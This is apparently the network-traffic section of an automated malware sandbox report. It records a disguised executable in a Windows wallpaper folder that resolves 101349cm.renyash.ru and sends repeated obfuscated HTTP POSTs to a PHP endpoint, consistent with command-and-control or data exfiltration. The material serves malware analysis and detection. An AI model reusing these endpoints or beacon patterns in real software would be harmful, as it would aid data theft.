Jan 1, 2025 15:20:58.238646984 CET	80	50328	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:58.468730927 CET	50327	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:58.473653078 CET	80	50327	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:58.473690033 CET	80	50327	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:58.560890913 CET	80	50327	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:58.592736959 CET	50328	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:58.597590923 CET	80	50328	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:58.607897043 CET	50327	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:58.678036928 CET	80	50328	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:58.754069090 CET	50328	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:58.829641104 CET	80	50327	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:58.850425959 CET	80	50328	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:58.873379946 CET	50327	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:58.964248896 CET	50327	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:58.964639902 CET	50328	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:58.964946032 CET	50329	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:58.969547033 CET	80	50327	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:58.969599962 CET	50327	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:58.969800949 CET	80	50329	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:58.969856024 CET	50329	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:58.969873905 CET	80	50328	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:58.969907999 CET	50328	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:58.970060110 CET	50329	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:58.974850893 CET	80	50329	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:59.326611042 CET	50329	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:59.331562996 CET	80	50329	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:59.421437979 CET	80	50329	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:59.467144966 CET	50329	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:59.586688995 CET	80	50329	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:59.639003992 CET	50329	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:59.712234020 CET	50330	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:59.717168093 CET	80	50330	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:59.720854998 CET	50330	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:59.720854998 CET	50330	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:59.725743055 CET	80	50330	104.21.38.84	192.168.2.4
Jan 1, 2025 15:21:00.080712080 CET	50330	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:21:00.085676908 CET	80	50330	104.21.38.84	192.168.2.4
Jan 1, 2025 15:21:00.184056044 CET	80	50330	104.21.38.84	192.168.2.4
Jan 1, 2025 15:21:00.241018057 CET	50330	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:21:00.354298115 CET	80	50330	104.21.38.84	192.168.2.4
Jan 1, 2025 15:21:00.404644966 CET	50330	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:21:00.478490114 CET	50331	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:21:00.478519917 CET	50330	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:21:00.483534098 CET	80	50331	104.21.38.84	192.168.2.4
Jan 1, 2025 15:21:00.483576059 CET	80	50330	104.21.38.84	192.168.2.4
Jan 1, 2025 15:21:00.483700037 CET	50330	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:21:00.483705044 CET	50331	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:21:00.483814001 CET	50331	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:21:00.488676071 CET	80	50331	104.21.38.84	192.168.2.4
Jan 1, 2025 15:21:00.842221975 CET	50331	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:21:00.847166061 CET	80	50331	104.21.38.84	192.168.2.4
Jan 1, 2025 15:21:00.947371960 CET	80	50331	104.21.38.84	192.168.2.4
Jan 1, 2025 15:21:01.044703007 CET	50331	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:21:01.111546040 CET	80	50331	104.21.38.84	192.168.2.4
Jan 1, 2025 15:21:01.154644012 CET	50331	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:21:01.229903936 CET	50331	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:21:01.230511904 CET	50332	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:21:01.235027075 CET	80	50331	104.21.38.84	192.168.2.4
Jan 1, 2025 15:21:01.235078096 CET	50331	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:21:01.235373020 CET	80	50332	104.21.38.84	192.168.2.4
Jan 1, 2025 15:21:01.235444069 CET	50332	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:21:01.235563040 CET	50332	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:21:01.240442991 CET	80	50332	104.21.38.84	192.168.2.4
Jan 1, 2025 15:21:01.592222929 CET	50332	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:21:01.597274065 CET	80	50332	104.21.38.84	192.168.2.4
Jan 1, 2025 15:21:01.677146912 CET	80	50332	104.21.38.84	192.168.2.4
Jan 1, 2025 15:21:01.732786894 CET	50332	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:21:01.873444080 CET	80	50332	104.21.38.84	192.168.2.4
Jan 1, 2025 15:21:01.920716047 CET	50332	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:21:01.993640900 CET	50332	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:21:01.993643999 CET	50333	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:21:01.998651028 CET	80	50333	104.21.38.84	192.168.2.4
Jan 1, 2025 15:21:01.998738050 CET	50333	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:21:01.998784065 CET	80	50332	104.21.38.84	192.168.2.4
Jan 1, 2025 15:21:01.998841047 CET	50333	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:21:01.998878956 CET	50332	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:21:02.004179001 CET	80	50333	104.21.38.84	192.168.2.4
Jan 1, 2025 15:21:02.357940912 CET	50333	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:21:02.362879038 CET	80	50333	104.21.38.84	192.168.2.4
Jan 1, 2025 15:21:02.464976072 CET	80	50333	104.21.38.84	192.168.2.4
Jan 1, 2025 15:21:02.654678106 CET	50333	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:21:02.723800898 CET	80	50333	104.21.38.84	192.168.2.4
Jan 1, 2025 15:21:02.822622061 CET	50333	80	192.168.2.4	104.21.38.84

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 1, 2025 15:17:05.673686028 CET	49998	53	192.168.2.4	1.1.1.1
Jan 1, 2025 15:17:05.814539909 CET	53	49998	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 1, 2025 15:17:05.673686028 CET	192.168.2.4	1.1.1.1	0xb050	Standard query (0)	101349cm.renyash.ru	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 1, 2025 15:17:05.814539909 CET	1.1.1.1	192.168.2.4	0xb050	No error (0)	101349cm.renyash.ru		104.21.38.84	A (IP address)	IN (0x0001)	false
Jan 1, 2025 15:17:05.814539909 CET	1.1.1.1	192.168.2.4	0xb050	No error (0)	101349cm.renyash.ru		172.67.220.198	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

101349cm.renyash.ru

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	104.21.38.84	80	5740	C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 15:17:05.874711037 CET	327	OUT	POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Host: 101349cm.renyash.ru Content-Length: 344 Expect: 100-continue Connection: Keep-Alive
Jan 1, 2025 15:17:06.234533072 CET	344	OUT	Data Raw: 00 03 04 0c 06 0d 01 0a 05 06 02 01 02 00 01 0a 00 0a 05 09 02 03 03 01 00 02 0d 56 05 06 06 09 0c 05 05 09 00 02 04 50 0b 05 06 00 04 03 02 03 06 06 0f 01 0e 57 01 00 01 01 07 0c 05 07 04 08 05 04 0d 59 04 0e 01 06 0e 54 0e 00 0c 54 0c 08 05 57 Data Ascii: VPWYTTWVP\L}U\|^jMc[que\|RStRsX\|cXoU`[ocfIkR`^oZju~V@zm\N~L[
Jan 1, 2025 15:17:06.327744007 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 15:17:06.604715109 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 14:17:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=8HqirHyKec4hwnfuz8nZLz1AU6bWZTJnXn7mjcQ9fe%2BfpG6JwhyfvAwt1ENrPWcJvsSyMShdXUarrferLh%2FJ0eJIzRNpJzTSL2GHVMWC%2B9vYw49RDRbA3GImg%2FDjO55P6zUPmg8M"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb3218648164368-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1786&min_rtt=1741&rtt_var=744&sent=3&recv=4&lost=0&retrans=0&sent_bytes=25&recv_bytes=671&delivery_rate=692599&cwnd=232&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 35 34 63 0d 0a 56 4a 7e 4d 6c 6e 77 44 79 61 74 02 68 07 78 5b 69 64 70 50 6b 60 65 09 6d 4d 60 00 7d 04 78 48 76 63 7d 0d 6d 07 65 4a 61 66 60 06 69 71 78 01 55 4b 71 40 76 61 77 07 7c 04 76 5c 68 74 65 55 78 58 7c 0a 7d 5a 7b 02 75 72 6a 5b 63 61 5c 5d 7c 72 75 5b 7f 6c 78 08 7e 01 63 06 76 76 7b 06 7c 5c 71 02 6a 4e 62 58 6f 49 70 07 78 5e 6b 58 78 53 68 5d 6e 61 7f 5b 6f 73 72 06 7c 5e 77 5b 78 67 64 07 7e 4c 74 5b 75 71 64 49 7a 51 41 5b 7c 59 52 42 68 58 66 54 61 52 73 5e 78 0a 68 04 76 70 72 08 79 61 65 48 7d 7c 76 03 7b 5f 66 4b 62 63 51 07 61 4f 7c 05 63 5f 62 50 7e 5d 7a 06 63 5c 6d 00 61 66 70 09 68 52 65 01 77 6f 7c 04 7e 70 7c 02 78 6f 73 03 7a 73 76 03 6b 6d 60 08 77 64 7f 5f 7e 62 50 09 7e 6e 7c 52 7b 7d 7a 05 7d 04 7d 4d 7b 5d 46 51 7f 42 5a 40 69 06 67 51 7e 77 5f 5c 6c 53 6b 01 78 4c 55 59 7f 72 60 5e 69 5e 63 40 7c 5e 79 42 7b 63 73 58 69 5b 78 00 63 5d 7d 51 7b 5c 79 03 75 66 70 4b 7d 48 64 4e 7e 66 69 09 76 72 59 44 7c 5c 69 07 7f 49 58 43 78 48 74 08 7c 73 6b 00 76 62 61 41 77 [TRUNCATED] Data Ascii: 54cVJ~MlnwDyathx[idpPk`emM`}xHvc}meJaf`iqxUKq@vaw\|v\hteUxX\|}Z{urj[ca\]\|ru[lx~cvv{\|\qjNbXoIpx^kXxSh]na[osr\|^w[xgd~Lt[uqdIzQA[\|YRBhXfTaRs^xhvpryaeH}\|v{_fKbcQaO\|c_bP~]zc\mafphRewo\|~p\|xoszsvkm`wd_~bP~n\|R{}z}}M{]FQBZ@igQ~w_\lSkxLUYr`^i^c@\|^yB{csXi[xc]}Q{\yufpK}HdN~fivrYD\|\iIXCxHt\|skvbaAwOy\|a~}l^A}IcJuOkx\_}^m{I^{Ihx}YFxr\|zcb\|NZ{g^\|r]@uOV~RQ\|wx\|O_Aul`xRtwN~{qm~\|z{ajFvcgJwql
Jan 1, 2025 15:17:06.604732037 CET	923	IN	Data Raw: 77 71 76 41 7f 5e 66 4e 77 62 61 01 76 75 70 09 7f 42 71 05 77 42 5e 07 7c 63 70 02 79 6c 7b 07 7b 70 76 44 7f 6d 7c 0c 74 49 5a 03 7d 72 5c 0a 7d 7d 63 08 78 43 72 41 7d 4c 79 05 7f 4e 70 40 7f 6c 5e 4e 7d 4e 78 0d 7e 59 6e 04 78 7d 59 4b 78 4c Data Ascii: wqvA^fNwbavupBqwB^\|cpyl{{pvDm\|tIZ}r\}}cxCrA}LyNp@l^N}Nx~Ynx}YKxLx\|aD~IUA\|^[{sx}\RwMuyOaDvHZ}v`~fmw\\}B}gP{vlO\|s{ubiw_qHaTlR@}IYIwasGxL}}^q{Il{g\|y}zL`IxcPA{]NZywli\]uqt\|lcK\|tx\|qaBR{\|w^qPzOa~lz
Jan 1, 2025 15:17:06.634747982 CET	303	OUT	POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Host: 101349cm.renyash.ru Content-Length: 384 Expect: 100-continue
Jan 1, 2025 15:17:06.730638027 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 15:17:06.730813026 CET	384	OUT	Data Raw: 51 52 51 55 5f 5d 57 5f 59 5b 5a 5a 52 5d 5b 59 55 5d 5a 59 57 5f 5b 5b 5b 59 59 53 54 53 5f 5b 5a 5c 57 43 56 5d 52 57 58 5d 5b 5c 58 5e 51 5d 5b 50 43 56 5a 5b 55 52 58 53 5e 56 59 59 5b 56 5b 58 5c 5d 5a 5e 59 5f 5b 5c 5c 5e 5d 5c 46 56 50 5f Data Ascii: QRQU_]W_Y[ZZR][YU]ZYW_[[[YYSTS_[Z\WCV]RWX][\X^Q][PCVZ[URXS^VYY[V[X\]Z^Y_[\\^]\FVP_YRR\XATVQYYXYUYQYW^Y[[YUG^__ZUZ[WU^__VY\T]Z^YW^\XS_ZTRZV]TY@P]^RUTSSW_Y[_PUP_U_VFZY_WYR^S^UPUU\Z[XC\V]'-/7$: !!?^?8?X+3>1<61]2(#-*9]//_ <
Jan 1, 2025 15:17:07.007643938 CET	962	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 14:17:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Ll5pSgoVjAPHB%2BcShKqMfuVCqGdh91Dkofy5szwj7kxGCDAKFrT1c3LoF64Mx2lV6KdO1QSf515OlaHOJI%2BRC00HO1%2B0Tmgbr%2FWOHGYlC17OuzAOZfodvW35hbW8DJ%2BB6mgw4BXp"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb32188ca6a4368-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=8606&min_rtt=1710&rtt_var=14062&sent=9&recv=8&lost=0&retrans=0&sent_bytes=2209&recv_bytes=1358&delivery_rate=2466216&cwnd=236&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 39 38 0d 0a 02 1d 2e 55 35 04 29 11 30 01 0d 01 2f 06 21 5c 2b 28 28 5e 3d 3c 29 5a 25 38 03 0c 2a 21 25 52 21 39 2b 1d 3f 2f 3d 1f 25 12 25 56 26 28 2e 5a 0d 1c 3a 02 23 2d 2b 1f 25 0b 3d 54 25 2b 3e 07 20 04 3e 5c 21 3b 02 00 27 3d 26 58 32 39 25 54 3a 3d 3f 5b 2f 3e 3a 0a 2f 1e 31 06 30 05 23 50 0f 1f 23 1c 32 00 39 10 24 1f 28 5a 22 0d 30 1f 22 04 31 56 23 2a 0a 14 24 14 2a 5b 33 3b 3a 54 25 2c 34 0b 36 07 3d 0e 33 0c 0d 53 33 08 2f 5d 21 0e 2c 55 03 3e 54 51 0d 0a 30 0d 0a 0d 0a Data Ascii: 98.U5)0/!\+((^=<)Z%8!%R!9+?/=%%V&(.Z:#-+%=T%+> >\!;'=&X29%T:=?[/>:/10#P#29$(Z"0"1V#$*[3;:T%,46=3S3/]!,U>TQ0
Jan 1, 2025 15:17:07.029824972 CET	304	OUT	POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Host: 101349cm.renyash.ru Content-Length: 1328 Expect: 100-continue
Jan 1, 2025 15:17:07.125478029 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 15:17:07.125691891 CET	1328	OUT	Data Raw: 54 53 54 55 5f 59 52 5b 59 5b 5a 5a 52 5d 5b 50 55 5f 5a 5f 57 58 5b 5c 5b 59 59 53 54 53 5f 5b 5a 5c 57 43 56 5d 52 57 58 5d 5b 5c 58 5e 51 5d 5b 50 43 56 5a 5b 55 52 58 53 5e 56 59 59 5b 56 5b 58 5c 5d 5a 5e 59 5f 5b 5c 5c 5e 5d 5c 46 56 50 5f Data Ascii: TSTU_YR[Y[ZZR][PU_Z_WX[\[YYSTS_[Z\WCV]RWX][\X^Q][PCVZ[URXS^VYY[V[X\]Z^Y_[\\^]\FVP_YRR\XATVQYYXYUYQYW^Y[[YUG^__ZUZ[WU^__VY\T]Z^YW^\XS_ZTRZV]TY@P]^RUTSSW_Y[_PUP_U_VFZY_WYR^S^UPUU\Z[XC\V]$@8,4'"!(^3+=)'9Q$/("122/ (4,9]//_ <
Jan 1, 2025 15:17:07.383074045 CET	961	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 14:17:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=rePH78knFjJWrbhFjonmdXuuADQt0HV8qJPMLI%2BFnLlvjpYAOysF4bVJs%2BrxihmuRk0DnxYXtjGp880em3M9mMAiGwHicPR32mGYFhHjC0lFJc%2Fn88lCKYeEJx9A4VwqIx8i48vI"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb3218b3d124368-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=13299&min_rtt=1691&rtt_var=20293&sent=14&recv=12&lost=0&retrans=0&sent_bytes=3196&recv_bytes=2990&delivery_rate=2466216&cwnd=239&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 39 38 0d 0a 02 1d 2d 0b 22 2a 3d 5c 24 3f 2b 02 2c 2f 0f 59 2b 2b 3c 5a 2b 3c 0b 5d 25 2b 25 0e 3e 1c 26 0f 22 17 37 1a 3f 2f 31 51 26 12 21 51 32 38 2e 5a 0d 1c 39 5f 35 3e 28 0c 31 32 21 56 24 28 32 06 34 5b 36 59 36 38 3b 58 31 03 2d 07 31 39 13 13 39 00 01 1d 3b 3e 3a 40 38 20 03 01 33 3f 23 50 0f 1f 20 08 26 3e 39 5b 27 1f 37 07 35 55 23 0a 36 29 31 56 22 29 3c 56 33 14 2d 00 30 06 2d 0f 25 02 3c 0d 23 3e 25 0c 24 32 2c 0b 30 18 2f 5d 21 0e 2c 55 03 3e 54 51 0d 0a 30 0d 0a 0d 0a Data Ascii: 98-"*=\$?+,/Y++<Z+<]%+%>&"7?/1Q&!Q28.Z9_5>(12!V$(24[6Y68;X1-199;>:@8 3?#P &>9['75U#6)1V")<V3-0-%<#>%$2,0/]!,U>TQ0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49731	104.21.38.84	80	5740	C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 15:17:06.936528921 CET	304	OUT	POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Host: 101349cm.renyash.ru Content-Length: 1048 Expect: 100-continue
Jan 1, 2025 15:17:07.282634974 CET	1048	OUT	Data Raw: 54 5c 54 52 5f 5d 57 58 59 5b 5a 5a 52 5b 5b 5e 55 55 5a 5d 57 5d 5b 5f 5b 59 59 53 54 53 5f 5b 5a 5c 57 43 56 5d 52 57 58 5d 5b 5c 58 5e 51 5d 5b 50 43 56 5a 5b 55 52 58 53 5e 56 59 59 5b 56 5b 58 5c 5d 5a 5e 59 5f 5b 5c 5c 5e 5d 5c 46 56 50 5f Data Ascii: T\TR_]WXY[ZZR[[^UUZ]W][_[YYSTS_[Z\WCV]RWX][\X^Q][PCVZ[URXS^VYY[V[X\]Z^Y_[\\^]\FVP_YRR\XATVQYYXYUYQYW^Y[[YUG^__ZUZ[WU^__VY\T]Z^YW^\XS_ZTRZV]TY@P]^RUTSSW_Y[_PUP_U_VFZY_WYR^S^UPUU\Z[XC\V]',3Y&:("+++<X"31/ !1"\1#<8;9]//_
Jan 1, 2025 15:17:07.407135010 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 15:17:07.773514986 CET	816	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 14:17:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=g%2FRBn%2BAFbblYcuyGS8dxjHR%2Beq1%2BTbrsjfCEf5n9Qk%2Ft8%2FYU6zs%2F43QeMSCat8IZTR13U0JmTIY9PwZ6oQgK20SUcMIgOpkK38Ub%2Fm1dweDPAGVwHHvQ5pVBp80Y3yknGaTan%2FXK"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb3218cfa1a41a9-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=5351&min_rtt=2520&rtt_var=6607&sent=2&recv=4&lost=0&retrans=0&sent_bytes=25&recv_bytes=1352&delivery_rate=58007&cwnd=208&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 30 55 57 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 40UW[0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49732	104.21.38.84	80	5740	C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 15:17:07.900996923 CET	304	OUT	POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Host: 101349cm.renyash.ru Content-Length: 1056 Expect: 100-continue
Jan 1, 2025 15:17:08.249485970 CET	1056	OUT	Data Raw: 54 54 51 57 5f 5c 57 51 59 5b 5a 5a 52 58 5b 50 55 55 5a 5a 57 50 5b 5a 5b 59 59 53 54 53 5f 5b 5a 5c 57 43 56 5d 52 57 58 5d 5b 5c 58 5e 51 5d 5b 50 43 56 5a 5b 55 52 58 53 5e 56 59 59 5b 56 5b 58 5c 5d 5a 5e 59 5f 5b 5c 5c 5e 5d 5c 46 56 50 5f Data Ascii: TTQW_\WQY[ZZRX[PUUZZWP[Z[YYSTS_[Z\WCV]RWX][\X^Q][PCVZ[URXS^VYY[V[X\]Z^Y_[\\^]\FVP_YRR\XATVQYYXYUYQYW^Y[[YUG^__ZUZ[WU^__VY\T]Z^YW^\XS_ZTRZV]TY@P]^RUTSSW_Y[_PUP_U_VFZY_WYR^S^UPUU\Z[XC\V]'/?'[&9Z6!<0?-P$6%<61"\&?+= /*9]//_ (
Jan 1, 2025 15:17:08.344696999 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 15:17:08.596822023 CET	812	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 14:17:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=kxHK2XEta677pWd3td8ty5RInyG%2FWHvmVmHXdFkdvFVKfxLcW1291yYAMqqu%2F0jTPVXmadoobuEy3Af0Y68W9o54o%2FsDI%2BlaB7nYo7zfneAeqM0q9iC7bIx%2BNil%2B5loD57Ok%2Fd8Y"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb32192db3b4325-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=3831&min_rtt=1702&rtt_var=4896&sent=2&recv=4&lost=0&retrans=0&sent_bytes=25&recv_bytes=1360&delivery_rate=77924&cwnd=179&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 30 55 57 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 40UW[0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49733	104.21.38.84	80	5740	C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 15:17:08.724733114 CET	328	OUT	POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Host: 101349cm.renyash.ru Content-Length: 1056 Expect: 100-continue Connection: Keep-Alive
Jan 1, 2025 15:17:09.077676058 CET	1056	OUT	Data Raw: 51 50 51 52 5f 59 52 5c 59 5b 5a 5a 52 59 5b 59 55 5f 5a 57 57 50 5b 56 5b 59 59 53 54 53 5f 5b 5a 5c 57 43 56 5d 52 57 58 5d 5b 5c 58 5e 51 5d 5b 50 43 56 5a 5b 55 52 58 53 5e 56 59 59 5b 56 5b 58 5c 5d 5a 5e 59 5f 5b 5c 5c 5e 5d 5c 46 56 50 5f Data Ascii: QPQR_YR\Y[ZZRY[YU_ZWWP[V[YYSTS_[Z\WCV]RWX][\X^Q][PCVZ[URXS^VYY[V[X\]Z^Y_[\\^]\FVP_YRR\XATVQYYXYUYQYW^Y[[YUG^__ZUZ[WU^__VY\T]Z^YW^\XS_ZTRZV]TY@P]^RUTSSW_Y[_PUP_U_VFZY_WYR^S^UPUU\Z[XC\V]$C,_3: Y5#_+^4?>%9:%,#P61( -:9]//_ ,
Jan 1, 2025 15:17:09.174355030 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 15:17:09.439905882 CET	804	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 14:17:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=JD0EtXRyVr8PKY9PMfA52BdK8iJxPwmPT8HpQg4bZax10M8r0y17ZbUl14KkjMsQmA%2B6GwSRjsSdU%2Fa0O11l%2Bv9BdtBlqWGbbS3aCUJ77JZa9sXgZrjUqR889wGwG7ShGic6wPQH"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb321980fea4219-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=4251&min_rtt=2236&rtt_var=4869&sent=2&recv=4&lost=0&retrans=0&sent_bytes=25&recv_bytes=1384&delivery_rate=79516&cwnd=192&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 30 55 57 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 40UW[0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49734	104.21.38.84	80	5740	C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe

Timestamp	Bytes transferred	Direction	Data
